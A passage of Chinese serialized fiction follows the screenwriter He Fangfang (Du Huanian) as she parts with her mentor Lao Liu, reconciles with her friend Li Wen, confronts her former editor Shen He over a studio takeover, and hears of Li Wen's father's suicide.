老刘头轻轻接过,如看一块美玉,仔细,认真,充满爱惜,仿佛在看小女儿的玩具,好一会儿才双手合十捂着日记本,闭上眼睛,两道老泪纵横而过。
他将日记本还给何芳芳,“老何,她写了什么?她的死,是意外吗?”
何芳芳接回来,“是。但是,是本可以阻止的意外。”
老刘头眼里寒光一闪,盯着何芳芳。
“我也没想到,日记最后几篇,都提到华老师的哮喘药用完了,她应该去医院拿的,可是她一拖再拖,最后就……”何芳芳停了下来,她知道,这已经足够让老刘头明白了。
沉默,沉默。终于,老刘头凄厉一叹,“可惜我的孩子了——!”
何芳芳不知道该如何安慰他,只是默默听着。
“老何,叫我一声祖师爷,不委屈你吧?”老刘头换了口气。
何芳芳赶紧朝他一拜,“祖师爷。”
老刘头笑起来,扶了扶她手臂,“哈哈,你还真是实诚孩子。”何芳芳直起身,看着这个仙风道骨的老爷子,一时间觉得,今晚是真的奇幻。
“老何,我不会看错人。”老刘头喝完最后一口酒,“何文谦的死让你突然没有了方向,但你知不知道,不管他爱不爱你,也不管有没有人爱你,你始终是你。你总觉得一定要追寻到爱,或者找到那些仰赖别人才能感受到的东西,然后才可以实现你自己,这和娟儿当初是一模一样啊!可是你们不知道,你们自己已经是别人的仰赖了。你搞错了一件事,你以为别人承认你,是因为你的父亲,可是证据呢?你在剧组里不过就是个管道具的,可是为什么副导演听你的,武指听你的,摄像还听你的?你干的已经是副导演的活了,没想过吗?这和你是谁的女儿有什么关系?这甚至和你叫什么,是男是女,都没关系了。他们信你,因为你值得,你为他们做事,你真心实意。”
何芳芳很久没有听过这样的语重心长了。她渴盼的,这么多年,有一个正常一点的父亲,还不如萍水相逢的祖师爷。
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“你和你自己较劲,娟儿也是这样!难怪她这样喜欢你。但是你有一点,不如她。娟儿是一个真正的性情中人,她做什么事,只是因为她喜欢、想做,没有那么多为了什么。你就太多束缚,总是要为了个什么。何苦呢?喜欢写就写,不喜欢就不写,不为了什么,不为了证明你的成功到底靠谁。你和何文谦是两个人,即使是父女,也是两个人。”
何芳芳看着他,像看着命运的手,眼睛发直,良久才开口,“老刘,祖师爷,我错了!”
“别急着认错。你记着,我不会看错人,你也别让我看错人。”老刘头把剩下的肉串放在她手心里,又从布口袋里慢慢摸出一个老式牛皮信封,轻轻交到何芳芳另一只手心里,转身,踏着路灯与月色,大步而去。
何芳芳郑重地目送,直到看不见老刘头的身影。她转过身,找了个小凳子坐下,一口一口,吃起冷掉的肉串,吃着吃着,又喊,“老板,给我来份小锅鱼粥。”“好嘞!”
不远处的灶上,铁锅颠勺,烈火烹油;前方几桌传来朗朗笑声,猜拳输了的,正在整瓶酒往肚里灌;起哄、碰杯、高谈阔论,铺满这条滨江路;一路的烧烤炉上燎起的浓烟,正狠狠扑向江水。
平时下戏,她也跟着剧组常来吃宵夜,可是今天是她第一次,发现这条街是有颜色的,就像黑白的线稿染上了漂亮的颜料;也是有声音的,像黑白默片叠化转场成了彩色有声电影;甚至是有香味的,她不困了,觉得好饿。
何芳芳正望着滚滚红尘出神,桌上却落下了一团阴影,她抬起头来,看见了好久不见的慕华。她意外地思考了一下,然后就不意外了,“下戏了?一块儿吃点。”
一个小姑娘正好把鱼粥端了上来,“咕嘟咕嘟”,还冒着大泡。
慕华盯着她手臂看,“你的伤……好点了?”
何芳芳瞥她一眼,开始盛粥,“没什么事了。”她把粥摆在了慕华面前。
“哦,谢谢!”慕华扶了扶碗,发觉太烫了,只能放下。看着何芳芳继续盛粥,她想起了今天的重点,“姐!你知不知道曾倩已经把工作室卖了?”
何芳芳手一顿,漏了一点粥出来,“啧”,她抽了张纸擦碗边。
“姐,你看看最近的宣传片,新电影已经定档了,出品方是天地文化,你的芳生工作室连名字都没有,编剧也只写了曾倩。整个电影,看着跟你一点关系都没有!”慕华越说越急,掏出手机怼到她面前。
何芳芳端着碗举在半空,看了看她怼过来的手机,叹口气,把她手拨到一边,放下碗,“本来也和我一点关系都没有。吃粥,这家的鱼粥贼好吃。”
慕华彻底愣住了,面前的人,一点都不像她认识的杜华年。她一激动,忘了改口,“华年姐!傻子都知道曾倩是靠你出名的,她这是吃里扒外,你不是最恨……”
“你也晓得说,傻子都知道。”何芳芳打断她,“那么她既然敢干,说明她就能这么干。”
慕华看着她,干干的看着好一阵子,她就那么气定神闲地喝粥,一小口一小口的。“不对,雯姐呢?还有雯姐,她肯定不会不管,我去找她。”
“我劝你别去,就好好陪我喝个粥。”何芳芳阻止她。
可慕华不听,“为什么?”
“听话,少问,不然你也只不过是换个地方失望。”
慕华一怔,呆呆地问,“华年姐,你怎么变成这样了?”
何芳芳不再理她,继续喝粥,又跟老板要了两手烤串。慕华实在吃不下,说了句,“好吧,华年姐你慢慢吃,我先走了。”便起身离开。
何芳芳看着对面分毫未动的那碗粥,叹口气,“许阿花呀,还是沉不住气。”
56. 空气中又闻到了水漫金山的味道
何芳芳在烧烤摊坐到了后半夜,烟抽了一支又一支。总念及老刘头是华老师的老师。
这样转圈的缘分虽令人奇妙兴奋,但也实在唏嘘不已,我们还能说起她,但我们再不能与她相见。老刘头也和何文谦十分不同,他和华老师一样,是真性情之人,而何文谦……她原本觉得,何文谦就是一个虚伪的沽名钓誉之徒,可是现在,何芳芳也拿不准了,他到底是一个怎样的人?她不了解她父亲,她父亲不了解她,这一点来说,也真是公平得很。
她摸着那封信,边缘已经磨损出了毛边。封皮上写着刘老师收,学生华丽娟寄。她没有打开,还没有。她从小包里摸出何文谦的绝笔信,两个信封一新一旧,又摸出华老师的日记本,一字排开摆在桌上,望着它们,再望望天上不明了的月色,似乎她的烟也添了一份模糊它的光晕。
她想她或许天生真有些离奇的命运,这么多不同的人生里的隐秘,不论在时光的哪一头,最终都会转到她的面前,她的生命,好像一场巨大的曲水流觞。
不为了什么,不必,为了什么。
“小姑凉,食烟这么狠?”烧烤摊老板强烈的广东口音把她的思绪拉了回来。地上一地烟头,她四周看了看,整条滨江路已经没剩几个人了,她抬头笑了笑,“老板要打烊了?”
“是呀,到点了我不回去,我老婆不睡的。”老板咧嘴笑了,还颇有点不好意思,“没关西,你抽完这支烟。”
何芳芳掐了烟,收拾了桌上的物件,“一共多少钱?”
“不收你钱了,小姑凉还是少食点烟。”老板笑呵呵地,“我们做生意不好赶人的嘛,我看你一个人坐了结摸久,肯定也是遇到点事,今天就免你单了嘛,没什么过不去的。”老板咧嘴笑呵呵的,麻利地收拾了桌上的碗碟筷子,转身走了。
何芳芳本想摸出手机扫码,又犹豫了,从钱包里找出两百现金,路过烤架时,压在了架子脚下。
她一路往回走,一路打电话给何文衫,“小姑姑,当年署名沈荷那本小说,我想再版一次,没有出版社愿意的话,我自费。”
何文衫在酒吧里接到的电话,她又惊又喜又忧,“这次,你想……署谁的名?”
“沈荷。”
“争议会很大吧。”
“不然有什么意义?”
何芳芳挂掉电话,路过垃圾桶,一抬手把剩下的小半盒烟和打火机一并丢进去,哐当一声,干脆利落,脚步没有丝毫停留,迎着夜风,收起脸上的冷笑,眼望前路,一步一步踩在地上。
夜空下又听见了法海敲钵的节奏,空气中又闻到了水漫金山的味道。
第二天一早,她一手抱着猫猫,一手提着行李,老刘头背着他的布口袋,爷孙俩打了个车到了火车站。买好票,何芳芳问老刘头,“师爷,只要你肯出山,我们这些人都得靠边站,为啥你还躲起来?”
老刘头说:“你现在干的事,怎么知道我没干过?来来去去太多人,我还是爱看一襟晚照。”
何芳芳沉默了。
老刘头又问她,“老何,慕华的事,为什么要做这么绝?”
何芳芳扬起眼皮,忍不住睁了睁眼,心想他娘的,祖师爷真是神通广大。“我做了一半,何文谦做了一半吧。那时我要卷土重来,就要一次性站稳脚跟。把慕华搞得越惨,人们就会越怕我,我得让大家知道,出卖我的下场有多可怕。”
老刘头点点头,“这些事,你就不像娟儿。她的善良甚至有些天真。但她很纯粹,你知道吗,她二十岁的时候就拿过文学奖和编剧奖了,你可能不知道华丽娟,但你应该听过曹红叶。”
何芳芳再一次暗自心惊,“曹红叶是华老师?”
“对。她那时候才是真的风光无限,像她那样的天赋,才真的是难以企及,你跟她比,可差得远了。但是很可惜啊,她的理想不是写作,而是嫁给爱情。”
何芳芳读过曹红叶的每一个作品,在她每一个偷偷摸摸躲在被窝的难眠冬夜,在她父亲强烈的鄙薄和抵制下,她真心地体会过曹红叶的文字有多么真诚感人。
“听说,一个技能点一旦点满了,这个人大概率就特别想追求点其他的。天才嘛,总是不珍惜自己的天才。”看老刘头又开始伤感,何芳芳说了这么一句。
谁知道老刘头正等着她,“所以你知道,你的所作所为,在别人眼里是啥样了?”
何芳芳噎得喘不上气,瞪大眼睛盯着老刘头。
“老何,你狠得下心。你敢用凌厉的手段,杀伐气重没什么不好的,娟儿有你一半凶狠,也不至于走到绝路。这一点,你还得谢谢你父亲。你其实知道你要什么,你只是不敢说。”
何芳芳怔怔望着他,深深叹气,再叹气,“老刘,谢谢你!”
“别整这些虚的,娟儿写的信,看了吗?”
“还没有。不敢。”
“怕什么?看看吧,你会知道她内心最深的情感。”
“开往西安方向的列车就要发车了,还没上车的旅客抓紧时间上车。”广播再三催促了,老刘头拍拍布兜往安检口走,何芳芳跟在后头。
检票的时候,女检票员向何芳芳也伸了手,“你不去?”
何芳芳摇摇头,和老刘头异口同声,“我们不同路。”随即,爷孙俩相视一笑,老刘头一挥手,大步流星走上了月台。
何芳芳转身出站,打了个长途车回到了南京建邺区的家。拖着灰扑扑的行李箱站在家门前,她心里自问:曾倩还在不在?
开门,不在。
房间很整齐,似乎是刻意打扫过,她摸一把茶几和餐桌,只有淡淡的灰尘。
算了算,人去楼空的时间大概也就一周左右。也就是说,在她受伤之后不久,曾倩就搬离了这里。猫猫很快乐,自己屁颠颠地跑回了她最爱趴的墙角,就在沙发旁边,就着垫子上的灰尘好一顿翻滚磨蹭。
何芳芳从前肯定是要抓她起来打一顿,然后送去宠物店洗澡。可是现在,她却看着撒娇耍赖的猫猫,微笑着流下了眼泪。
她丢下行李,给猫猫放了饭,再洗了个澡,上去敲李雯的房门。
敲了很久,无人应答。她掏出备用钥匙打开了门,迎面扑来浓臭的烟酒气。她忍着,走进去,黑黢黢的,只有沙发上一个手机屏幕亮莹莹的。一切都静悄悄的,但何芳芳知道,李雯就在附近,她关上门,没有开灯。她就着一点微光走到沙发背面,李雯就靠在沙发背上,坐在地下,身边一片啤酒空瓶,一地烟头。
她蹲下身,“怎么了?”
李雯知道是她,备用钥匙只有她有。“你还知道要回来?”李雯懒洋洋地说,口气凉嗖嗖的。
“总是要回来的,你急什么?”何芳芳就地坐下,在地上寻找没有开过的啤酒。
“你不急,因为你想翻身就能翻身,别人呢?我们没这个能耐啊!杜华年,你什么时候能替别人想想,能知道别人的感受?”李雯说得很平静,但每个字都好像沾过血。
很久没有听到杜华年三个字,何芳芳深深吸了一口气,就像闻到了续命的芳香,她终于找到了一罐酒,迫不及待地打开喝了一大口,长叹一声,“哎——!舒坦。欸,你这副样子是为了什么?”
李雯斜眼看着她,“我又被男人骗了。”
李雯的语气太平静,杜华年反应了一会儿,最先令她惊讶的是,“宋林?我看宋林挺死心塌地的,再说你现在不是个穷光蛋吗?还有钱给人骗?”
李雯这才发现,她俩已经走过了好长一段独自的生活,互相之间,除了这个破工作室,什么关联都没有。她忍不住苦笑,“对,自从你回家奔丧开始,倒霉事真是一件接着一件,他妈的!”
话糙理不糙,杜华年回头一想,何文谦之死真真是一个转折点,她人生的,以至于推进到她的工作室,从她的工作室扩散到了李雯、曾倩,又从曾倩牵扯到了华老师,再散布到了刘白、老刘头,再从老刘头又回到了华老师这里。
一切的跌宕,都是从何文谦之死开始的。她有种至死也绕不出围城的错觉,但她已经懒得沉没进去了,只是笑笑。
李雯摇摇晃晃站起来,开了灯,“点个外卖吧,饿了。”
开了灯杜华年才看清楚一地狼藉,泡面杯子啤酒罐子零食袋子,到处都是。两人开始搞卫生。
李雯说起了她从横店回来后发生的事。
那天她一回到南京,就直奔宋林的画室,没有找到他,于是直接联系了李东海的老情人、集团财务总监。她倒是很给面子的接了电话,“我已经在机场了,说好了,等我走了你们再动作,不要牵累我。”
这话意味着宋林应该已经拿到了证据,可是她的一千万却还在,宋林也只字未提这件事。不需要直觉李雯也知道出事了,到底是谁和这个女人做了交易?
她又找去了宋林的出租屋,宋林却一直避重就轻,“你要是拿到证据又不举报,就是包庇,你要是拿这个证据去要挟李东海,那就是敲诈,咱现在有一千万,这
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已经比多少人一辈子挣得钱都多了,我们为什么还要搞事业呢?”
李雯终于不想再跟他纠缠这个问题了,“够了,我刚才和她通话了,她说她已经在机场了,她准备逃跑,那就是说证据已经给你了。”
宋林突然愤怒了,“你回来第一时间不给我打电话,却打给她?”
李雯追问,“这是什么问题?我去你画室了,你不在。那我找你还不是为了找她?反正我回来了,不如直接找她。”
宋林看着她一脸理所当然,忍了忍,哀求她,“雯雯,你跟我走吧,真的,别搞什么工作室了好吗?”
李雯看着他的脸,“你如果想多要点钱,可以直说,我大不了跟我爸要多一点,分你一半都行。但是宋林,不要再跟我说什么放弃工作室了,你工作是为了挣钱,我工作是为了证明我李雯不是个废物。”她突然觉得很累很无聊,“算了……你才二十多岁,还是个男人,你什么时候想证明自己都可以,男人不管几岁开始奋斗,人们都会说一句浪子回头。可我是女人,我也没有青春了,三十五年来,我只是我妈刻意塑造出来的窝囊废,我从前没发现就算了,发现了,我就不能再做窝囊废了!”
她很少一次性说这么多内心剖白,或许是这一次的失望是最后一根稻草吧,“宋林,分手吧。利用你帮我敲竹杠,是我不对,对不起。还有,如果你真的有证据,我还是希望你考虑卖给我。”
宋林没想到她会说分手,她是真的觉得他一点都不重要么?他在她心里,不仅不如工作室,甚至还不如杜华年?
他用力拉住她,但李雯像不要命一样反抗,他几次差点伤到她,终于,他害怕了,松了手。
杜华年仔细地端详她,“你现在倒真是有点豪门子女的样子了。但是我不明白,为什么涉及这么多钱,你会放心交给你的小男朋友去办?”
李雯拧起眉头,“因为我妈那一千万就是宋林帮我骗来的,我也怕那个女人不信我,转头再把我卖给李东海。结果……哼。”她冷笑一声。
“所以到底证据在哪你也不知道?”
李雯摇头,声音飘忽,伸手去拿杜华年手上的啤酒,自己又喝了一口,“现在工作室已经没有我说话的份了。曾倩都魔怔了,我想劝她,她都不见我。就算真敲到竹杠,也没用了。”
杜华年却摇摇头,“一千万还在你手里,但是对方却觉得你拿到了证据,这是为什么?如果真不是宋林,那么,还有另一个人打着你的名号去要这个东西。”
听她这么一说,李雯也觉得后背发凉,“你觉得是谁?”
两个人心里其实都有了答案,杜华年说:“沈董就是沈荷,她来见过我。”
李雯先是机械地点点头,继而突然回过神来,打了个激灵,“她见过你?!”但由于激灵打得太猛,头一阵眩晕,她捂着眼睛往地上倒去。
杜华年来扶起她,“你多久没吃饭了?我们点个烧烤,你坐到沙发上去,我要拖地。”
李雯听话地爬上了沙发,开始点餐。
“她是冲我来的,她能给曾倩诱惑条件,必然也会给你。你为什么没答应她?”
李雯慢慢站起来,走到餐桌旁抽出两份文件,回头甩在沙发上,“她把我当傻子,她说只要我把工作室的股份给她,她就给我钱收购我爸最赚钱的公司。真搞笑,李东海那个体量,只要派个人跟她沈荷去谈一谈,他们就会联合起来碾死我们这只小蚂蚁。只有曾倩这种傻子才信她的鬼话。”
杜华年拿起来看,一份是对赌协议,只要她拿不出新剧本,工作室就输给沈荷,另一份是质押合同,用工作室换钱,再用钱去对付李东海。她低头微笑,“我赌对了你。”
李雯回头看她卖力拖地,心里突然有点伤感,“其实我也没想到曾倩会倒戈,看她平时对你那么痴迷的样子,我还以为她是最忠诚的。”
杜华年冷笑起来,“你搞错了,她痴迷的不是我,是我的天赋。是她没有的东西。”她洗了拖把放好,走回来往沙发上一躺,“你干嘛想敲诈李东海?一千万又是怎么回事?毕竟是父女,实在没有爱就分开,逢年过节意思意思就行,不必搞到反目成仇吧?”
李雯本想避开捞女这件事,但看来在杜华年这里,不能有没头没尾的故事,她苦笑,“说来话长。”
“那你就慢慢说。还有,把陈姨找回来吧,这个活我真不行。”她指了指地,李雯顺眼看去,笑出了声。
杯一碰,两人各自灌下一口酒。
57. 上了瘾的鬼书生
老刘头年轻的时候路子玩的很野,现在老了,谁也看不出他那一身摸爬滚打的本事,他就躲在深山老林里,闲来没事,只爱陪老伴浇浇花,遛个弯,逛逛菜市。
可老刘头只下山走了这么一遭,一天功夫,何芳芳就不再是何芳芳了。
老前辈重出江湖,几乎人人都想来膜拜。可是老前辈他只出现了一天,又回去了。
人人都在讨论跟在老刘头身后那个不修边幅的女人是谁。
她又重新站在了风浪尖上,这一次,不管她是何芳芳还是杜华年。
她穿着血红色大衣,涂着血红色的唇,带着墨镜,踩在高跟鞋上,步步铿锵走进工作室,接受所有人的目光。
惊讶、恐惧、质疑、好奇、玩味、嘲笑……
她是何芳芳,她是杜华年。
寒意渐浓的西风从她身后的大门袭来,“呼啦”一下扬起她的衣摆。这一次,她清晰地感觉到了权力的烈度,那种呼风唤雨的豪纵,无人能不注目你的威压。原来,何文谦想要她继承的,就是这个东西。
慕华想要挑衅的,喵喵想要攀折的,芊芊想要拜伏的,都是这个东西。
她从未如此清明过,她知道她不爱这种东西。
她不心跳,不兴奋,不嗨。情绪凛冽得可怜。此刻,站在她曾经的工作间门前,她竟突然怀念赤水河两岸山间清冽的晨风。
曾倩在工作间里,从杜华年踏上上楼的阶梯开始,一步步的高跟鞋声就敲在她的心尖尖上。她不自觉地打颤,她觉得自己是做错事的白蛇,杜华年的鞋子,就是法海的金钵。
沈董就坐在旁边的沙发上,嘲笑她,“你这么怕她?挨过她的打吗?”
曾倩瞪了她一眼,不是恼羞成怒,而是鄙夷,“我们干的是什么光彩的事吗?”
沈董却摊摊手,故作无辜的腔调,“欸,我只是正常商人做正常交易,不光彩的,只是你。”
曾倩不再去理她,只是盯着门。
杜华年终于推开了它。但和曾倩想的不一样,她没有复仇的狠厉和冷酷,她只是缓缓摘掉墨镜,轻轻走到她面前,露出一双透光度极高的漂亮眼睛,慢慢道:“阿倩,你妈妈的死,真的是意外。她不想去拿药,一再拖延,所以意外发生了。”
打死谁曾倩也想不到,她会跟她说这句话,在此时此刻。
她当然不知道该怎么接。杜华年伸手轻轻触了触她耳边的发尾,“头发长了,该修一修了。”
一瞬间,她眼里不受控地涌上了泪。
可杜华年才不给她流泪的时间,直接转身走到沈董面前,二人凝目相视,她看了她几乎三个呼吸,才开口,“沈荷。”
听到这个名字,曾倩全身一震,一颗眼泪被迫从瞬间睁大的眼眶里掉出来,她不停地来回看着面前两个人。
沈荷却露出了由衷的笑容,“你终于来了,”她从沙发上站起来,拉起她的手,像两个亲热的大学生,“走,我带你去看看我的江山。”
通常两个亲热的大学生里,总有一个不那么投入表演亲热,杜华年就是那一个,她只是似笑非笑,任由沈荷拉着她往门口疾走。
空留曾倩在原地,像一片枯萎的叶子,枯萎也只用了一秒。她觉得自己蠢极了,最先猜到沈董是故人的,明明是她,可她却没能更进一步,猜到沈董就是沈荷。
沈荷拉着杜华年上了车,一路上滔滔不绝地讲述自己初到国外的见闻,许多事她甚至连时间地点人物姓名都记得清清楚楚,就连最初念书时,寄宿家庭邻居的狗是公是母,叫什么名字,当年几岁,她都如数家珍。
杜华年冷静地看着她过度兴奋的脸庞,她直觉这是越来越危险的信号。车子停在了天地文化楼下。杜华年下车时特意抬高头望了一眼整栋写字楼,沈荷仍旧拉着她往大门走,步伐急切,她仔细看了看她激动的背影。
她们进的是沈荷的专属电梯,连贴身秘书都被沈荷拒绝跟随。电梯一路通向大楼楼顶,沈荷兴高采烈,“你马上就会见到最完美的工作间,我知道你一定会欣赏我。”她的声音有点大了,在狭小的电梯轿厢里回响。
出了电梯,走过一小段通道,推开一扇小门,空间豁然变得无限开阔,无数青蓝色的飘纱像凌空垂下一般,在眼前错落飘舞,顶楼的风更寒更烈,迎面砸来,杜华年侧头闭了眼。可沈荷却拉着她小跑了起来,杜华年被她扯进了这个藏在楼顶的异世界。
曾倩曾向李雯描述过这个楼顶的诡异,李雯又转述给杜华年。此时即便是正午刚过,太阳正烈,可阴风阵阵,比李雯转述的诡异多了。她觉得这个楼顶花园,就像《聊斋》里的伽蓝寺,而沈荷像一个上了瘾的鬼书生,扑了进来。
“你看,你喜欢吧?我第一次见到你时,就觉得你注定与众不同,你看这里,我给你开辟了一片草坪,天幕是星空,我特意请人设计的,用了特殊的材料,日夜晴雨,都有不同的色彩,星星也会变化。再来看这里,”她从一片草地上跑到玻璃花房前,“这是你的工作间,你可以在花团簇拥里写作。还有这里,”她又从玻璃花房跑到斜后方,视线被花房遮挡了,杜华年走过去一看,实在忍不住睁大了双眼,久久不能回过神来。
眼前是一片花树,地上是一片花海,面积虽小,但在楼顶却显得蔚为壮观。她仔细看了看,都是真花真树,地上铺起高近一米的土台,四周用青砖围砌,四面砖墙中央各加了两级阶梯,颇有一种仙庭阆苑玉阶瑶台的错觉。树虽不高,但都已经长得枝叶繁茂,此时入秋,金桂已经开了,有些心急的枫叶和银杏也变了色,夹杂在一片绿荫里,一点黄一点红一点金,满地都是淡紫浅粉的小菊花,风一来,招摇婆娑,桂香馥郁,沙沙声催人入幻。
杜华年觉得分外眼熟,很快她看出来了,这是她写在《你我》里的场景,这个场景本来也真实存在,是她高中母校教学楼后头一片树林,学生叫它背书林,老师叫它快活林。
她与胡静雯最爱留恋在那片林子里。
沈荷非常满意她眼里的震撼,她从瑶台上跳下来,“你想起来了对吧?我知道,你一定看得懂。”她的眼里燃起熊熊的野心,“芳芳,这里是属于你的地方,我为你打造的。你就在这里写你想写的一切,没有人再会干扰你,阻挠你。”
杜华年看着她,很难再将当年在编辑部里见到的沈编辑与她联系在一起,那时候,她穿着简单的衬衫,黑亮的长发梳得一丝不苟,带着厚重的眼镜,眉目肃丽,满身书卷气。
“学姐,你变了。”
“谁能不变呢?你吗?不,你才是变化最大的,你已经写不出东西了。”沈荷冷笑,走回到玻璃花房里。
杜华年也走进去,“是啊,我已经写不出东西了,你还非要找我合作干什么?”
“你跟着我,就能写出来。你签给我,我还做你的编辑。”
“你不是已经签了曾倩吗?工作室也可以全都给你。”杜华年淡淡地说。
沈荷瞪着她,突然一拍桌子,“你干什么?你的工作室你不要了?”
杜华年很费解,“你不是想要吗?”
“你装什么傻?你那个破工作室我稀罕吗?你看不出来我是为了逼你来找我?包括曾倩,包括李雯,我只是希望你看清她们是什么人,然后和我合作!”
杜华年很无奈地叹气,“可惜李雯没上你的当。”
“但曾倩上当了。你看人的眼光太差了。曾倩贪婪,李雯虽然没有出卖你,但她和她的家庭一定是个拖累,你离开她吧,我才是对你最好的人。”
“你觉得你对我最好?”杜华年都想笑了。
“不然呢?”沈荷的眼里流露
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出一丝愤恨,转瞬即逝,“当然,你对我也不差。我以为,许慕华告你抄袭的时候,你会把真相讲出来的。”
杜华年观察着她,忽而她想明白了,就在沈荷说出真相两个字的时候,“哦,原来你是为了这个。你是那之后才回国的,对吧?天地文化一直不温不火没什么存在感,可就在那之后,迅速收购兼并,就是你的动作。可是为什么呢?”
沈荷的神色严肃起来,“你还和以前一样敏锐,那你猜啊,猜猜看我是为什么。”
杜华年心里出现了一个猜想,但她觉得很难接受,于是暂时当做是一种荒谬,“好,我回去猜一猜。我这次来找你,是想告诉你,如果你签了曾倩,就好好栽培她,她有她的潜力,你不会亏的。至于芳生工作室,如果你真想要,我可以给你,现在就能签合同,里头的员工你想留就留,不想留你告诉我,我带走。”
沈荷瞬间皱起眉,又一拍桌子,“不行!”
杜华年再一次费解地看她。
“何芳芳!你一直在被女人背叛,从喵喵到慕华到曾倩,一次比一次伤筋动骨,你怎么就是不长教训呢?你是死性不改,还是中了傻白甜的毒啊?这么痴迷扮演一个伟大的女性吗?”沈荷怒骂她,声音在花房里震荡,飘出去随风散远。
杜华年掏掏耳朵,懒懒散散地,“你也是女人啊,你忘了?”
沈荷一震,说不出话来。她这话有两个意思:我不该信她们,我就该信你?又或者是:我死性不改,所以我从一开始信你,到现在也没有怀疑你。
但无论是哪个意思,都是在说,沈荷你太把自己当例外了。
杜华年要走,“你好好想想,尽快告诉我你的决定。”
沈荷匆忙起身拦住她,“你什么意思?你要与我为敌了?”
杜华年第三次费解地看着她,“你不是已经与我为敌了?我欠你的,你说要多少,我还给你。接下来就是各凭本事了。”
“放屁!”沈荷甩手,“我什么时候想与你为敌了?我只是想你看清楚看明白,谁是真心帮你,谁是假意。你只有和我合作,我们合作才是最完美的。”
“帮我?”杜华年笑了,讽刺地看着她,“我要拍电影,你就假意与我合作,趁我回家奔丧,断我电影宣发,等到工作室骑虎难下,又来撬我墙脚,要抢我的工作室,还要来贬低我,高高在上地告诉我我被人背叛是因为我死性难改?沈荷,你是真觉得我蠢呢?还是真以为自己高明?你拿这些事出去,随便在大街上找个人问问,你看看有谁会觉得,你是在帮我?你只是想控制我,你和何文谦没有什么区别,我如果真是瞎了眼,那也是在这件事上!”
沈荷语气无奈,“芳芳,难道你觉得在你最困难的时候背叛你,投靠我的人,是在帮你?”
“她对不起我,但她至少是为了她自己,我到现在还不知道,你做这种损人不利己的事情是为了什么。况且,在我最难过的时候,你又在干什么?你在算计你的目标。至少曾倩做了一件事,不然我现在不会站在这里。”
“什么事?”
“不想告诉你。”杜华年明晃晃地嫌弃还带点傲娇,挪开身子,走出花房。
沈荷愣了一会儿,后知后觉追出去,碍于她的鱼尾裙,她并不能追上,只能朝着杜华年的背影喊,“我绝对不是何文谦,我和他不一样!不一样!”
我怎么可能和他一样?荒唐!沈荷想。杜华年大步流星,高跟鞋敲在水泥地面,依然不影响她飘风一样快地消失在小门内。
西风四起,像钱塘江潮水,要淹没这个天台。
但很快,沈荷镇静下来,她打了个电话给助理,“把消息放出去,我要让她身边那个炸弹爆炸。”
挂掉电话,她看着空空如也的小门,轻轻自语,“你变得越来越有意思了。”
58. 斯德哥尔摩症候群
杜华年走出大楼,忍不住回头仰望了一眼这座建筑,楼顶的一切都在她脑海里盘旋,她不禁自问:沈荷,这十年,你经历了什么?
她也突然想通了自己躲在横店不肯回来的原因,她敏锐地感受到了一切人性的变迁,就像华丽娟的死去,这是无可逆转、不可抗拒的力量,她怕面对这个变迁,怕看见故人的面目全非,怕再见,沈荷变成了鬼书生,她变成了伽蓝寺的游魂。
她又回了一趟工作室,眼里什么也没有,径直走上二楼,一把推开工作间的门,颇有点气势汹汹。曾倩吓得躲在一旁贴着门边的墙,看着她脱掉高跟鞋,两步走过去踩上沙发,把墙上那幅照片摘下来,照片太大,她差点抱着它摔下来,曾倩轻呼了一声,赶忙上前去扶,她却已经踉跄着站稳,费劲地扛好照片,狼狈地穿上高跟鞋,眼里什么也没有,径直出门下楼,走出了工作室。
曾倩的手还僵在二楼。
回到家,她把客厅的投影布哗啦一声扯下来,露出了后头的巨幅照片,又找来钉子和锤子,把工作室扛回来的照片挂在了它的旁边,才倒回沙发里,看着眼前一左一右两幅尺寸相同的画面。
它们一模一样,一张闭着眼,一张睁开眼,前一帧和后一帧。
李雯发来一条信息,约她去千帆过吃完饭。
时隔半年,再踏进千帆过,杜华年不胜感慨,深深一叹。再见到姜老板烟柔的笑面,她忽有种见到亲人的感觉。
“老杜,你终于回来啦!”姜老板拉着她的手,笑得泪光隐现。
老杜这个称呼,从来只有李雯这么叫,姜老板从前叫她什么?她思索了半天,也没想起来,但反正不是老杜,可总归这样一声老杜,着实亲切。
“你不来,我的生意都不如从前了!但是李雯常来,一来就喝酒,喝醉了就一遍遍喊‘老杜’,总算把你喊回来了!”
还是熟悉的栏杆旁,还是熟悉的鲫鱼豆腐汤,秋天傍晚,西风斜阳,高楼凭栏,李雯已经等在那里。
工作室被天地文化接手,没说开除原来的人,但都被投闲置散。像林见月这样的性格肯定是忍不了的,于是直接长期翘班,当然大部分的人还是老实摸鱼,但心里都盼着杜华年赶紧回来,能救他们于水火。
明明杜华年凶神恶煞,操纵欲极强,但这群打工人,却不知在什么时候对她产生了情感、产生了期待,至少没有人把她当做盘剥自己的甲方。
可能是因为她不在乎钱吧,她为了目标不计成本,只要你能做到极致,你跟她要什么她都给。这让每个人感觉到,自己挣到的是价值,而不是卖身钱。
但相应的,为了达到极致,他们就会自愿不吃不睡,往死了干活。或许还不如卖身的社畜,人家至少有空摸鱼。所以一开始,沈荷的助理带着一群新员工进场之后,他们是被嘲笑的对象,人家说他们患有斯德哥尔摩综合征。
于是他们偷偷自己搞了个群,群名称:斯德哥尔摩症候群。
李雯给她拉进了群里,她一看,好家伙,连许慕华都在。
“这个名字谁想的?”杜华年笑到失语。
“默契。不怪我们,你知道沈荷带来的人在干嘛?文学裁缝。还有哟,饭堂搞没了。不信你现在下楼去后厨,海师傅在里头拉面呢,一会儿你就能吃到了。”李雯像一个好容易回了娘家告状的小媳妇,眉毛都快飞出发际线了。
杜华年愣了愣,又笑了,“我觉得挺好的,至少你现在说话和以前都不一样了,有力气了。”
李雯白他一眼,“你今天见到沈荷了?她到底为什么要这样对你?你那么维护她的呀!”
杜华年叹气摇头,“我也在想这个问题,我有一个大胆的假设,但实在太大胆了,我自己都觉得很荒谬。”
“什么假设?”
杜华年刚要说,进来一条微信,来自何文衫:谈妥了,最快下个月能上第一批新书。
她终于笑了,回复:真及时。
“好消息?”李雯刚问,自己的电话就响了起来,看一眼,竟然是她不争气的大哥。
“喂?”
“什么?”
不知道电话那头说了什么,李雯的神情陡变,血色全无。杜华年一瞬不瞬地看着她,轻轻喊了一声,“阿雯?”
李雯回过神来,发直的双眼看着她,“李东海自杀了。我爸,自杀了!”
杜华年第一个反应是:今年是送爹的一年?第二个反应是,“为什么?”
“我哥没说……”李雯只感觉头重脚轻,站起来一阵眩晕,杜华年赶紧站起来扶住她。
送走杜华年和李雯,姜老板姐弟站在门口好一会儿,姐姐忍不住抬头看了看自己千帆过的招牌,问她弟,“你说,我们这个地方,是不是风水不太好欸?”
